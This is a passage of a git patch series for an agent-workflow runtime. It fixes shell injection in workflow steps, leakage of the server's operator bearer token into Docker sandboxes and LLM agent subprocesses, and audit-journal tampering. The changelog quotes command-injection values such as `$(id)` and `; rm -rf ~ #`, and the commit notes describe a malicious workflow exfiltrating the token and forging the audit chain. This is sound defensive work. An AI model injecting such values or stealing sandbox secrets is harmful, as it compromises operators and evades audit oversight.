const handleErr = await this.resolveHandlesInInput(scope, input); if (handleErr) return { ok: false, result: handleErr }; const re = new RegExp(NodeWorkflowRuntime.INLINE_CAPTURE_RE.source, "g"); if (!re.test(input)) { - return { ok: true, value: interpolate(input, scope.vars, scope.env) }; + return { ok: true, value: interpolate(input, scope.vars, scope.env, quoteValue) }; } re.lastIndex = 0; let result = ""; @@ -636,11 +643,12 @@ export class NodeWorkflowRuntime { ? await this.executeRunRef(scope, ref, argsRaw) : await this.executeEnsureRef(scope, ref, argsRaw, undefined); if (r.status !== 0) return { ok: false, result: r }; - result += r.returnValue ?? r.output.trim(); + const captured = r.returnValue ?? r.output.trim(); + result += quoteValue ? quoteValue(captured) : captured; lastIndex = m.index + m[0].length; } result += input.slice(lastIndex); - return { ok: true, value: interpolate(result, scope.vars, scope.env) }; + return { ok: true, value: interpolate(result, scope.vars, scope.env, quoteValue) }; } private async evaluateMatch( @@ -1074,7 +1082,11 @@ export class NodeWorkflowRuntime { continue; } if (body.kind === "shell") { - const cmdIr = await this.interpolateWithCaptures(body.command, scope); + // Shell-fallthrough lines are the one `sh -c` interpolation sink, so + // every interpolated value is shell-quoted (H-1): a caller-controlled + // param/capture/iterator/channel value can never inject command + // substitution or a metacharacter breakout. + const cmdIr = await this.interpolateWithCaptures(body.command, scope, shellQuote); if (!cmdIr.ok) return this.mergeStepResult(accOut, accErr, cmdIr.result); const stepName = `sh_line_${body.loc.line}`; const result = await this.executeManagedStep( diff --git a/src/runtime/kernel/prompt.ts b/src/runtime/kernel/prompt.ts index 19d040f7..66ea8c81 100644 --- a/src/runtime/kernel/prompt.ts +++ b/src/runtime/kernel/prompt.ts @@ -166,8 +166,12 @@ function isTestMode(env: NodeJS.ProcessEnv = process.env): boolean { /** * Escape a string the way bash `printf "%q"` does (backslash-escaping). * Matches jaiph::format_shell_command output exactly. + * + * Exported so the workflow runtime can shell-quote every value it interpolates + * into a `sh -c` shell-fallthrough line (see `interpolateWithCaptures` in + * `node-workflow-runtime.ts`), keeping the single canonical escaper here. */ -function shellQuote(s: string): string { +export function shellQuote(s: string): string { if (s.length === 0) return "''"; // If the string contains only safe chars, return as-is if (/^[a-zA-Z0-9_./:@=,+%-]+$/.test(s)) return s; diff --git a/src/runtime/kernel/runtime-arg-parser.ts b/src/runtime/kernel/runtime-arg-parser.ts index 02122dbe..abc33e5c 100644 --- a/src/runtime/kernel/runtime-arg-parser.ts +++ b/src/runtime/kernel/runtime-arg-parser.ts @@ -28,17 +28,33 @@ export function nowIso(): string { return formatUtcTimestamp(); } -export function interpolate(input: string, vars: Map, env?: NodeJS.ProcessEnv): string { +/** + * Substitute `${var}` / `${var.field}` references with their resolved values. + * + * When `quoteValue` is supplied, every substituted value is passed through it + * first. Shell-fallthrough lines pass `shellQuote` here so caller-controlled + * values (params, captures, `for_lines` iterators, channel payloads) are + * escaped before they reach `sh -c`, and can never introduce command + * substitution or shell metacharacter breakouts. Non-shell positions + * (const/return/send/say/prompt) omit it and keep the raw value. + */ +export function interpolate( + input: string, + vars: Map, + env?: NodeJS.ProcessEnv, + quoteValue?: (s: string) => string, +): string { const lookup = (key: string): string => vars.get(key) ?? env?.[key] ?? ""; + const q = quoteValue ?? ((s: string) => s); return input.replace(/\$\{([a-zA-Z_][a-zA-Z0-9_]*)(?:\.([a-zA-Z_][a-zA-Z0-9_]*))?\}/g, (_m, base, field) => { - if (!field) return lookup(String(base)); + if (!field) return q(lookup(String(base))); // Dot field access: parse JSON stored in the base variable and extract the field. const raw = lookup(String(base)); try { const obj = JSON.parse(raw); - return obj != null && typeof obj === "object" && field in obj ? String(obj[field]) : ""; + return q(obj != null && typeof obj === "object" && field in obj ? String(obj[field]) : ""); } catch { - return ""; + return q(""); } }); } From ffc0bbc9c55c97953d986280587fef55ca3e5039 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 31 Jul 2026 09:52:38 +0200 Subject: [PATCH 12/86] Fix: exclude host-only JAIPH_SERVE_* keys from sandbox env forward MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The environment-forwarding allowlist forwarded every JAIPH_* variable into the Docker container and the agent subprocess, carving out only JAIPH_DOCKER_*, the inplace flags, and JAIPH_RUN_WORKFLOW. That leaked the whole host-only JAIPH_SERVE_* family across the sandbox boundary, including JAIPH_SERVE_TOKEN — the single-operator bearer secret that authorizes the entire `jaiph serve` HTTP API — even though the in-container runtime never reads them. A malicious or injected workflow could read the token, exfiltrate it over the default-on network, and authenticate back to the server as the operator (finding H-2). Add a JAIPH_SERVE_ carve-out alongside the existing JAIPH_DOCKER_ one in a shared ENV_ALLOW_EXCLUDE_PREFIXES list, so isEnvAllowed rejects every JAIPH_SERVE_* key on both boundaries — the Docker forwarding loop and the scrubPromptEnv prompt-backend scrub. Runtime-consumed control keys such as JAIPH_DEBUG and JAIPH_WORKSPACE still cross the boundary. Adds Docker and env-allowlist tests, updates the env-vars, sandboxing, and serve docs, and dequeues the task from QUEUE.md. Co-Authored-By: Claude Opus 4.8 (1M context) --- CHANGELOG.md | 3 ++ QUEUE.md | 16 ---------- docs/env-vars.md | 4 +-- docs/sandboxing.md | 2 +- docs/serve.md | 2 +- src/runtime/docker.test.ts | 38 ++++++++++++++++++++---- src/runtime/docker.ts | 1 + src/runtime/kernel/env-allowlist.test.ts | 17 +++++++++++ src/runtime/kernel/env-allowlist.ts | 18 ++++++++++- 9 files changed, 74 insertions(+), 27 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 79919368..82c71a87 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,9 +3,12 @@ ## Summary - **Shell steps no longer splice untrusted values into `sh -c`:** every value interpolated into a workflow shell step is shell-quoted first, so a workflow parameter, capture, `for` iterator, or channel payload that contains shell metacharacters is passed to the shell as data and cannot inject a command, including when the value is bound through `jaiph mcp` or `jaiph serve`. +- **The `jaiph serve` operator token no longer crosses into workflow sandboxes:** the environment-forwarding allowlist now excludes the whole host-only `JAIPH_SERVE_*` family, so `JAIPH_SERVE_TOKEN` and the OIDC and server-config keys stay on the host instead of being forwarded into every Docker container and agent subprocess the server runs. ## All changes +- **Security — keep host-only `JAIPH_SERVE_*` server keys out of the workflow sandbox (finding H-2):** the environment-forwarding allowlist forwarded every `JAIPH_*` variable into the Docker container and the agent subprocess, carving out only `JAIPH_DOCKER_*`, `JAIPH_INPLACE` / `JAIPH_INPLACE_YES`, and `JAIPH_RUN_WORKFLOW`. `JAIPH_SERVE_TOKEN` — the single-operator bearer secret that authorizes the whole `jaiph serve` HTTP API — starts with `JAIPH_`, so every workflow the server invoked inherited `-e JAIPH_SERVE_TOKEN=` (along with `JAIPH_SERVE_OIDC_*` and the other host-only server keys), even though the in-container runtime never reads them; a malicious or injected workflow could read the token, send it off the machine over the default-on network, and authenticate back to the server as the operator (full invoke / inspect / cancel). The allowlist now excludes the whole `JAIPH_SERVE_*` family: a new `ENV_ALLOW_EXCLUDE_SERVE_PREFIX` joins the existing `JAIPH_DOCKER_*` carve-out in a shared `ENV_ALLOW_EXCLUDE_PREFIXES` list (`src/runtime/kernel/env-allowlist.ts`), so `isEnvAllowed` returns false for `JAIPH_SERVE_TOKEN`, `JAIPH_SERVE_OIDC_*`, and every other `JAIPH_SERVE_*` key on both boundaries — the Docker forwarding loop (`src/runtime/docker.ts`) and the `scrubPromptEnv` prompt-backend scrub — so the token reaches neither a container nor an LLM subprocess. Runtime-consumed `JAIPH_*` control keys that workflows legitimately need, such as `JAIPH_DEBUG` and `JAIPH_WORKSPACE`, still cross the boundary. Tests: `src/runtime/docker.test.ts` (a Docker run with the token set forwards no `-e JAIPH_SERVE_TOKEN` or `JAIPH_SERVE_OIDC_ISSUER`; `isEnvAllowed` rejects the serve keys and keeps the control keys) and `src/runtime/kernel/env-allowlist.test.ts` (`scrubPromptEnv` drops the serve keys and keeps a control key), plus the src-parity harness now checks every exclude prefix appears in the docs. Docs: the updated forwarding-allowlist paragraph and a host-only note on the `JAIPH_SERVE_TOKEN` row in [Environment variables](docs/env-vars.md), the env-exposure exclusion note in [Sandboxing](docs/sandboxing.md), and the host-side-token note in [Serve workflows over HTTP](docs/serve.md). + - **Security — shell-quote every value interpolated into a workflow shell step (finding H-1):** a free-form workflow body line runs via `sh -c` after Jaiph substitutes `${var}` references, and it used to substitute the raw value, so a caller-controlled value such as `name = "$(id)"` or `name = "; rm -rf ~ #"` could inject a command. `jaiph mcp` and `jaiph serve` bind request arguments to workflow parameters positionally, so an untrusted caller reached this sink directly. The runtime now passes every interpolated value through `shellQuote` (the single canonical `printf %q`-style escaper in `src/runtime/kernel/prompt.ts`) before it reaches `sh -c`, covering parameters, `const` values, prompt and other captures, `for` loop iterators, channel payloads, and inline `${run …}` / `${ensure …}` capture results. A value like `$(id)` is now echoed literally and never evaluated. Non-shell string positions (`const` / `return` / `send` / `say` / `prompt`) keep the raw value. The compile-time `W_PROMPT_IN_SHELL` diagnostic still fires for prompt captures and steers you to the safer argv path (`run my_script(x)` → `$1`), which passes the value unchanged. # 0.12.0 diff --git a/QUEUE.md b/QUEUE.md index 54c2a5ae..a78b345c 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -14,22 +14,6 @@ Process rules: *** -## Exclude host-only `JAIPH_SERVE_*` keys from the sandbox env forward #dev-ready - -Context: ASI-08/ASI-05, HIGH, confidence 0.80. Finding H-2 — the serve operator bearer token crosses the sandbox boundary. - -Problem: The env allowlist forwards every `JAIPH_*` variable into the container and the agent subprocess, excluding only `JAIPH_DOCKER_*`, `JAIPH_INPLACE*`, and `JAIPH_RUN_WORKFLOW` (`env-allowlist.ts:64-71`, `ENV_ALLOW_PREFIXES = ["JAIPH_"]` at `:31`; Docker forwarding loop `docker.ts:849-856`; `scrubPromptEnv` at `:114-124`). `JAIPH_SERVE_TOKEN` — the single-operator bearer secret authorising the entire HTTP API (`serve.ts:152`) — starts with `JAIPH_` and is not excluded, though the in-container runtime never consumes it. So every workflow the server invokes inherits `-e JAIPH_SERVE_TOKEN=` (plus `JAIPH_SERVE_OIDC_*` and other host-only server keys). A malicious or H-1-injectable workflow reads the token, exfiltrates it over the default-on network, and authenticates back to the server as the operator (full invoke/inspect/cancel). - -Location: `src/runtime/kernel/env-allowlist.ts:31`, `:64-71`, `:114-124`; `src/runtime/docker.ts:849-856`; `src/cli/commands/serve.ts:152`; `src/cli/run/env.ts`. - -Remediation: Stop blanket-forwarding `JAIPH_*`. Add a `JAIPH_SERVE_` exclusion mirroring the existing `ENV_ALLOW_EXCLUDE_PREFIX = "JAIPH_DOCKER_"`, or — safer — invert to an explicit allowlist of the specific runtime-consumed `JAIPH_*` names. Apply the same scrub in `scrubPromptEnv` so the token never reaches an agent/LLM subprocess. - -### Acceptance criteria -- With `JAIPH_SERVE_TOKEN` set in the host environment, a Docker run does not receive `-e JAIPH_SERVE_TOKEN` (a test asserts the token key is absent from the forwarded Docker env args). -- `isEnvAllowed("JAIPH_SERVE_TOKEN")` returns false, and the same holds for `JAIPH_SERVE_OIDC_*` and other host-only `JAIPH_SERVE_*` keys. -- `scrubPromptEnv` removes `JAIPH_SERVE_*` keys so they never reach an agent subprocess (a test asserts absence). -- Runtime-consumed `JAIPH_*` variables that workflows legitimately need still cross the boundary (a test asserts they are retained). - ## Make the run audit journal tamper-resistant and actually verified #dev-ready Context: ASI-06, HIGH, confidence 0.85. Finding H-3 — the audit journal is written by the audited party behind an unkeyed chain that no production code path verifies. diff --git a/docs/env-vars.md b/docs/env-vars.md index e1e0593b..f661d772 100644 --- a/docs/env-vars.md +++ b/docs/env-vars.md @@ -104,7 +104,7 @@ Inside a container the container is the sandbox, so unsafe host-only mode procee | `JAIPH_SERVE_OIDC_JWKS_URI` | host | string | — | — | `jaiph serve` — explicit JWKS URI for OIDC token verification. Optional; when unset the JWKS URI is discovered from `JAIPH_SERVE_OIDC_ISSUER`'s OpenID configuration document. | | `JAIPH_SERVE_RETAIN_AGE_SEC` | host | int | `86400` (24h) | — | `jaiph serve` — max age (seconds, from `ended_at`) of a completed run kept in the in-memory registry; older terminal records are evicted. `0` disables age eviction. Active runs are never evicted; durable `.jaiph/runs` artifacts are unaffected. Must be `>= 0`. | | `JAIPH_SERVE_RETAIN_RUNS` | host | int | `500` | — | `jaiph serve` — max completed runs kept in the in-memory registry; beyond it the oldest terminal records are evicted first. Active runs are never evicted; durable `.jaiph/runs` artifacts are unaffected. Must be a positive integer. | -| `JAIPH_SERVE_TOKEN` | host | string | — | — | `jaiph serve` — static **single-operator** bearer token required on every `/v1/*` and `/mcp` request (constant-time compared). This is a shared-secret gate, **not** multi-tenant authentication: there is no per-user identity, revocation, or per-action authorization — the one operator holds every capability. For those, use OIDC (`JAIPH_SERVE_OIDC_ISSUER` + `JAIPH_SERVE_OIDC_AUDIENCE`), which takes precedence. Unset leaves `/v1/*` open on loopback; binding a non-loopback `--host` with no auth is a startup error. `/healthz` is always unauthenticated; `/docs` + `/openapi.json` follow `JAIPH_SERVE_EXPOSE_DOCS`. | +| `JAIPH_SERVE_TOKEN` | host | string | — | — | `jaiph serve` — static **single-operator** bearer token required on every `/v1/*` and `/mcp` request (constant-time compared). This is a shared-secret gate, **not** multi-tenant authentication: there is no per-user identity, revocation, or per-action authorization — the one operator holds every capability. For those, use OIDC (`JAIPH_SERVE_OIDC_ISSUER` + `JAIPH_SERVE_OIDC_AUDIENCE`), which takes precedence. Unset leaves `/v1/*` open on loopback; binding a non-loopback `--host` with no auth is a startup error. `/healthz` is always unauthenticated; `/docs` + `/openapi.json` follow `JAIPH_SERVE_EXPOSE_DOCS`. The whole `JAIPH_SERVE_*` family is host-only and is excluded from the forwarding allowlist and the prompt scrub, so a workflow the server runs never sees this token. | | `JAIPH_SKILL_PATH` | host | path | — | — | When set and the path exists, `jaiph init` writes `.jaiph/SKILL.md` from that file. Otherwise the CLI walks an install-relative search. | | `JAIPH_SOURCE_ABS` | internal | path | — | — | Absolute path to the entry `.jh` file. Set by the CLI before spawning the runner. | | `JAIPH_SOURCE_FILE` | internal | string (basename) | entry-file basename | — | Used to name run directories. | @@ -136,7 +136,7 @@ The host CLI checks these before spawning the runner or container when [credenti | `CURSOR_API_KEY` | `cursor` | warning if absent | hard error (`E_AGENT_CREDENTIALS`) | A stored `cursor-agent login` may still work on host runs. | | `OPENAI_API_KEY` | `codex` | hard error (`E_AGENT_CREDENTIALS`) | hard error (`E_AGENT_CREDENTIALS`) | No CLI-login fallback. Forwarded into the Docker container when the entry file selects `codex` — set on the host before `jaiph run`. | -Jaiph forwards a fixed allowlist into the Docker container. The allowlist is the `JAIPH_*` run-control keys, except `JAIPH_DOCKER_*`, `JAIPH_INPLACE`, and `JAIPH_INPLACE_YES`, plus the credential keys of the backends the entry file selects. The credential keys are `ANTHROPIC_API_KEY` and `CLAUDE_CODE_OAUTH_TOKEN` for `claude`, `CURSOR_API_KEY` for `cursor`, and `OPENAI_API_KEY` for `codex`. Jaiph silently drops every other variable, including other variables in those families (for example `ANTHROPIC_BASE_URL` or `CLAUDE_CONFIG_DIR`) and unrelated cloud credentials. To forward one on purpose, use the `--env` flag described below. See [Sandboxing](sandboxing.md). +Jaiph forwards a fixed allowlist into the Docker container. The allowlist is the `JAIPH_*` run-control keys, except `JAIPH_DOCKER_*`, `JAIPH_SERVE_*`, `JAIPH_INPLACE`, and `JAIPH_INPLACE_YES`, plus the credential keys of the backends the entry file selects. The credential keys are `ANTHROPIC_API_KEY` and `CLAUDE_CODE_OAUTH_TOKEN` for `claude`, `CURSOR_API_KEY` for `cursor`, and `OPENAI_API_KEY` for `codex`. Jaiph silently drops every other variable, including other variables in those families (for example `ANTHROPIC_BASE_URL` or `CLAUDE_CONFIG_DIR`) and unrelated cloud credentials. To forward one on purpose, use the `--env` flag described below. See [Sandboxing](sandboxing.md). To forward a variable outside the allowlist, for example `GITHUB_TOKEN` or `AWS_ACCESS_KEY_ID`, into a single run, use the per-key `--env` flag on `jaiph run`, `jaiph serve`, or `jaiph mcp`. `--env KEY=VALUE` sets an exact value, and `--env KEY` forwards the host's current value. In host mode `--env` defines the variable on the workflow process directly. In a Docker sandbox it crosses the boundary unchanged as an explicit `-e KEY=VALUE` container argument, so it bypasses the allowlist above, and the flag is the per-key consent for that. An `--env` value wins over any allowlist-forwarded value for the same key. diff --git a/docs/sandboxing.md b/docs/sandboxing.md index 10685ba8..fea258bb 100644 --- a/docs/sandboxing.md +++ b/docs/sandboxing.md @@ -95,7 +95,7 @@ The Docker sandbox is built to limit the damage from untrusted or semi-trusted w - **Filesystem reach.** Scripts inside the container cannot read or write host paths outside the workspace mount and the run-artifacts mount. The rest of the host is invisible to the container. In the default snapshot mode the container works on a point-in-time clone, so the live host workspace is never mounted and is unchanged after the run. The clone is [defined by git](#snapshot-content), so gitignored files, such as secrets in `.env` or tokens in `.npmrc`, never enter the container at all. - **Process isolation.** Processes in the container cannot see or signal host processes. Every sandboxed container runs with `--cap-drop ALL` and zero cap-adds, `--security-opt no-new-privileges`, no `--device`, and no AppArmor exception. The settings are the same in snapshot mode and inplace mode. On Linux the container runs as the host UID and GID from the first instruction, never as root. - **Mount safety.** The host root filesystem, the Docker daemon socket, and operating system paths (`/proc`, `/sys`, `/dev`) cannot be mounted into the container. Trying to mount one of them produces a validation error before launch. -- **Environment exposure.** Host environment variables do not cross the boundary by default. Only an explicit allowlist is forwarded. That allowlist is the `JAIPH_*` run-control keys, with `JAIPH_DOCKER_*` and the inplace-control flags left out, plus the credential keys of the agent backends the entry file selects (`ANTHROPIC_API_KEY` or `CLAUDE_CODE_OAUTH_TOKEN` for `claude`, `CURSOR_API_KEY` for `cursor`, and `OPENAI_API_KEY` for `codex`). Other variables in those families stay on the host, for example `ANTHROPIC_BASE_URL`, or any `ANTHROPIC_*` or `OPENAI_*` secret that the run's backend does not use. Every other variable is dropped, including unrelated cloud credentials, SSH agents, and registry tokens. The way to forward one key is `--env` on `jaiph run` or `jaiph mcp`. `--env KEY=VALUE`, or `--env KEY` to forward the host value, crosses that variable into the workflow unchanged as an explicit `-e KEY=VALUE` container argument, which bypasses the allowlist. The flag itself is the consent, and its value wins over any value the allowlist forwarded for the same key. Sandbox-control keys and runtime-managed keys are rejected with `E_ENV_RESERVED`, and values are never path-remapped. See [the `jaiph run` flags](cli.md#jaiph-run). +- **Environment exposure.** Host environment variables do not cross the boundary by default. Only an explicit allowlist is forwarded. That allowlist is the `JAIPH_*` run-control keys, with `JAIPH_DOCKER_*`, the host-only `JAIPH_SERVE_*` server keys, and the inplace-control flags left out, plus the credential keys of the agent backends the entry file selects (`ANTHROPIC_API_KEY` or `CLAUDE_CODE_OAUTH_TOKEN` for `claude`, `CURSOR_API_KEY` for `cursor`, and `OPENAI_API_KEY` for `codex`). The `JAIPH_SERVE_*` keys stay on the host because they are settings for `jaiph serve` itself, not for the workflow runtime. One of them, `JAIPH_SERVE_TOKEN`, is the operator's bearer secret for the HTTP API, so a workflow the server runs must never be able to read it and call the server back as the operator. Other variables in those families stay on the host, for example `ANTHROPIC_BASE_URL`, or any `ANTHROPIC_*` or `OPENAI_*` secret that the run's backend does not use. Every other variable is dropped, including unrelated cloud credentials, SSH agents, and registry tokens. The way to forward one key is `--env` on `jaiph run` or `jaiph mcp`. `--env KEY=VALUE`, or `--env KEY` to forward the host value, crosses that variable into the workflow unchanged as an explicit `-e KEY=VALUE` container argument, which bypasses the allowlist. The flag itself is the consent, and its value wins over any value the allowlist forwarded for the same key. Sandbox-control keys and runtime-managed keys are rejected with `E_ENV_RESERVED`, and values are never path-remapped. See [the `jaiph run` flags](cli.md#jaiph-run). An `--env` value crosses to the workflow process, not to the model. `prompt` backend subprocesses get a second scrub that always runs and fails closed (`scrubPromptEnv` in `src/runtime/kernel/env-allowlist.ts`), and it runs in every sandbox mode, including host mode. After the scrub the agent receives only the base environment (`PATH`, `HOME`, locale, proxies, `CLAUDE_CONFIG_DIR`, and the like), the `JAIPH_*` control keys, and its own backend's credential keys. Secrets you inject with `--env`, such as `GITHUB_TOKEN`, stay visible to trusted `run` script and workflow steps and never reach the agent. diff --git a/docs/serve.md b/docs/serve.md index 0c4d419e..f00a1ae8 100644 --- a/docs/serve.md +++ b/docs/serve.md @@ -95,7 +95,7 @@ Open `http://127.0.0.1:5247/docs` in a browser to get a live form for every work `jaiph serve` has two production authentication modes, plus an open default meant for loopback development. Credentials come from the environment, never from argv, because argv leaks into process listings. In every mode, `/healthz` stays open and needs no credentials. `/docs` and `/openapi.json` also stay open, unless `JAIPH_SERVE_EXPOSE_DOCS=false` hides them behind a `404`. -**Static single-operator token.** `JAIPH_SERVE_TOKEN` is a shared secret required on every `/v1/*` and `/mcp` request, sent as `Authorization: Bearer ` and compared in constant time. It is a fail-closed gate for one operator. There is no per-user identity, no revocation, and no per-action authorization, so the one operator holds every capability and sees every run. Use it for a single trusted caller, not for several people in a company. +**Static single-operator token.** `JAIPH_SERVE_TOKEN` is a shared secret required on every `/v1/*` and `/mcp` request, sent as `Authorization: Bearer ` and compared in constant time. It is a fail-closed gate for one operator. There is no per-user identity, no revocation, and no per-action authorization, so the one operator holds every capability and sees every run. Use it for a single trusted caller, not for several people in a company. The token stays on the host and never crosses into a workflow sandbox, so a workflow the server runs cannot read it and use it to call the API back as the operator. ```bash JAIPH_SERVE_TOKEN=secret jaiph serve --host 0.0.0.0 --port 8080 ./tools.jh diff --git a/src/runtime/docker.test.ts b/src/runtime/docker.test.ts index 247003f8..e3a1e4b3 100644 --- a/src/runtime/docker.test.ts +++ b/src/runtime/docker.test.ts @@ -10,7 +10,7 @@ import { prepareImage, isEnvAllowed, ENV_ALLOW_PREFIXES, - ENV_ALLOW_EXCLUDE_PREFIX, + ENV_ALLOW_EXCLUDE_PREFIXES, BACKEND_CREDENTIAL_KEYS, GHCR_IMAGE_REPO, selectSandboxMode, @@ -432,6 +432,30 @@ test("buildDockerArgs: forwards JAIPH_ env vars, excludes JAIPH_DOCKER_*", () => assert.ok(!args.some((a) => a.includes("OTHER_VAR"))); }); +test("buildDockerArgs: excludes host-only JAIPH_SERVE_* server keys (operator token stays host-side)", () => { + const opts = defaultOpts({ + env: { + JAIPH_DEBUG: "true", + JAIPH_SERVE_TOKEN: "s3cret-operator-bearer", + JAIPH_SERVE_OIDC_ISSUER: "https://issuer.example", + }, + }); + const args = buildDockerArgs(opts); + assert.ok(args.includes("JAIPH_DEBUG=true")); + assert.ok(!args.some((a) => a.includes("JAIPH_SERVE_TOKEN"))); + assert.ok(!args.some((a) => a.includes("JAIPH_SERVE_OIDC_ISSUER"))); +}); + +test("isEnvAllowed: excludes host-only JAIPH_SERVE_* server keys", () => { + assert.equal(isEnvAllowed("JAIPH_SERVE_TOKEN", ["claude"]), false); + assert.equal(isEnvAllowed("JAIPH_SERVE_OIDC_ISSUER", ["claude"]), false); + assert.equal(isEnvAllowed("JAIPH_SERVE_OIDC_AUDIENCE", []), false); + assert.equal(isEnvAllowed("JAIPH_SERVE_MAX_CONCURRENT", []), false); + // Runtime-consumed JAIPH_ control keys workflows legitimately need still cross. + assert.equal(isEnvAllowed("JAIPH_DEBUG", []), true); + assert.equal(isEnvAllowed("JAIPH_WORKSPACE", []), true); +}); + test("buildDockerArgs: always marks the inner run as the sandbox so it does not re-export telemetry", () => { // The outer host process exports the run exactly once from the bind-mounted // journal; the inner `jaiph run --raw` must skip export. Without this marker a @@ -860,11 +884,13 @@ test("docs/env-vars.md lists ENV_ALLOW_PREFIXES and the exclude prefix verbatim" const token = `\`${prefix}*\``; assert.ok(doc.includes(token), `env-vars.md missing forwarding prefix ${token}`); } - const excludeToken = `\`${ENV_ALLOW_EXCLUDE_PREFIX}*\``; - assert.ok( - doc.includes(excludeToken), - `env-vars.md missing forwarding exclusion ${excludeToken}`, - ); + for (const prefix of ENV_ALLOW_EXCLUDE_PREFIXES) { + const excludeToken = `\`${prefix}*\``; + assert.ok( + doc.includes(excludeToken), + `env-vars.md missing forwarding exclusion ${excludeToken}`, + ); + } }); test("docs/env-vars.md lists every per-backend credential key on the forwarding allowlist", () => { diff --git a/src/runtime/docker.ts b/src/runtime/docker.ts index c2b04e5b..a3ade49a 100644 --- a/src/runtime/docker.ts +++ b/src/runtime/docker.ts @@ -710,6 +710,7 @@ export { BACKEND_CREDENTIAL_KEYS, ENV_ALLOW_PREFIXES, ENV_ALLOW_EXCLUDE_PREFIX, + ENV_ALLOW_EXCLUDE_PREFIXES, ENV_ALLOW_EXCLUDE_NAMES, RUN_WORKFLOW_ENV, isEnvAllowed, diff --git a/src/runtime/kernel/env-allowlist.test.ts b/src/runtime/kernel/env-allowlist.test.ts index cc9220f0..4f940577 100644 --- a/src/runtime/kernel/env-allowlist.test.ts +++ b/src/runtime/kernel/env-allowlist.test.ts @@ -97,6 +97,23 @@ test("scrubPromptEnv: JAIPH_ control keys pass, JAIPH_DOCKER_/inplace exclusions assert.equal(env["JAIPH_RUN_WORKFLOW"], undefined); }); +test("scrubPromptEnv: host-only JAIPH_SERVE_* server keys never reach a prompt backend", () => { + const env = scrubPromptEnv( + { + JAIPH_SERVE_TOKEN: "s3cret-operator-bearer", + JAIPH_SERVE_OIDC_ISSUER: "https://issuer.example", + JAIPH_SERVE_MAX_CONCURRENT: "4", + // A runtime-consumed control key the workflow legitimately needs still passes. + JAIPH_TEST_MODE: "1", + }, + "claude", + ); + assert.equal(env.JAIPH_SERVE_TOKEN, undefined); + assert.equal(env.JAIPH_SERVE_OIDC_ISSUER, undefined); + assert.equal(env.JAIPH_SERVE_MAX_CONCURRENT, undefined); + assert.equal(env.JAIPH_TEST_MODE, "1"); +}); + test("scrubPromptEnv: CLAUDE_CONFIG_DIR passes as base env (needed by the Claude CLI)", () => { const env = scrubPromptEnv({ CLAUDE_CONFIG_DIR: "/cfg/claude" }, "claude"); assert.equal(env.CLAUDE_CONFIG_DIR, "/cfg/claude"); diff --git a/src/runtime/kernel/env-allowlist.ts b/src/runtime/kernel/env-allowlist.ts index 1e87a2d8..57204956 100644 --- a/src/runtime/kernel/env-allowlist.ts +++ b/src/runtime/kernel/env-allowlist.ts @@ -33,6 +33,22 @@ export const ENV_ALLOW_PREFIXES = ["JAIPH_"] as const; /** Prefix excluded from the allowlist even though it starts with JAIPH_. */ export const ENV_ALLOW_EXCLUDE_PREFIX = "JAIPH_DOCKER_"; +/** + * Host-only `jaiph serve` server keys (bearer token, OIDC config, run limits) + * excluded from the allowlist. They start with `JAIPH_` but the in-container + * runtime never consumes them, and `JAIPH_SERVE_TOKEN` is the single-operator + * secret authorising the whole HTTP API (`src/cli/commands/serve.ts`). + * Forwarding it would let a workflow read the operator token and authenticate + * back to the server, so the entire family stays host-side. + */ +export const ENV_ALLOW_EXCLUDE_SERVE_PREFIX = "JAIPH_SERVE_"; + +/** All JAIPH_ prefixes carved out of the forwarding allowlist. */ +export const ENV_ALLOW_EXCLUDE_PREFIXES = [ + ENV_ALLOW_EXCLUDE_PREFIX, + ENV_ALLOW_EXCLUDE_SERVE_PREFIX, +] as const; + /** * Container env var naming the workflow symbol the inner `jaiph run --raw` * should execute. Emitted explicitly from `DockerSpawnOptions.workflowSymbol` @@ -62,7 +78,7 @@ export const ENV_ALLOW_EXCLUDE_NAMES = new Set([ * forwards no credentials — fail-closed. */ export function isEnvAllowed(key: string, backends: readonly AgentBackend[]): boolean { - if (key.startsWith(ENV_ALLOW_EXCLUDE_PREFIX)) return false; + if (ENV_ALLOW_EXCLUDE_PREFIXES.some((prefix) => key.startsWith(prefix))) return false; if (ENV_ALLOW_EXCLUDE_NAMES.has(key)) return false; if (ENV_ALLOW_PREFIXES.some((prefix) => key.startsWith(prefix))) return true; // Guard the lookup: `backends` may carry an unrecognized JAIPH_AGENT_BACKEND From b2378bb4dd6d3b2297a9379f2b7ea607c3a64389 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 31 Jul 2026 10:57:00 +0200 Subject: [PATCH 13/86] Fix: key and verify the run audit journal to resist tampering Finding H-3 (ASI-06): each run_summary.jsonl line chained a prev_hash that was an unkeyed SHA-256 over a public genesis, and no production path ever called verifyRunSummaryChain. Because the journal lives under the workflow's own cwd, the audited workflow could delete, truncate, or fully recompute an internally-valid chain and every reader accepted it. The chain is now keyed: prev_hash is chainHmac(key, previousLine) under a fresh per-run 256-bit secret (generateChainKey) that lives only in the trusted kernel process env (JAIPH_CHAIN_KEY / CHAIN_KEY_ENV). scrubTrustedKeys strips the key and the JAIPH_RUN_SUMMARY_FILE path from every script scope, and scrubPromptEnv drops the key at the agent boundary, so no workflow subprocess can forge or relink the chain. The host generates and forwards the key and, once the run is terminal, persists it beside the journal as a 0600 .chain-key file. verifyRunJournal(runDir) loads that key and hard-fails when verified && !ok at every read/export boundary: run listing marks the run failed with TAMPERED_RESULT_TEXT, GET /v1/runs/{id}/events returns 409 E_TAMPERED, and the OTLP and Sentry exporters warn and skip rather than post a tampered timeline. An unkeyed/legacy run cannot be verified and is never blocked, a missing or truncated journal is a verification failure, and a chain recomputed without the key fails at the first line. Docs and CHANGELOG updated; task removed from QUEUE.md. Co-Authored-By: Claude Opus 4.8 (1M context) --- CHANGELOG.md | 3 + QUEUE.md | 32 ++--- docs/architecture.md | 14 +- docs/artifacts.md | 19 +-- docs/cli.md | 4 +- docs/observability.md | 8 ++ docs/serve.md | 4 +- src/cli/commands/run.ts | 25 +++- src/cli/exec/call.ts | 7 + src/cli/serve/handler.ts | 9 ++ src/cli/serve/run-store.test.ts | 36 +++++ src/cli/serve/run-store.ts | 16 ++- src/cli/serve/server.test.ts | 37 +++++ src/cli/telemetry/otlp.test.ts | 21 +++ src/cli/telemetry/otlp.ts | 9 ++ src/cli/telemetry/sentry.test.ts | 26 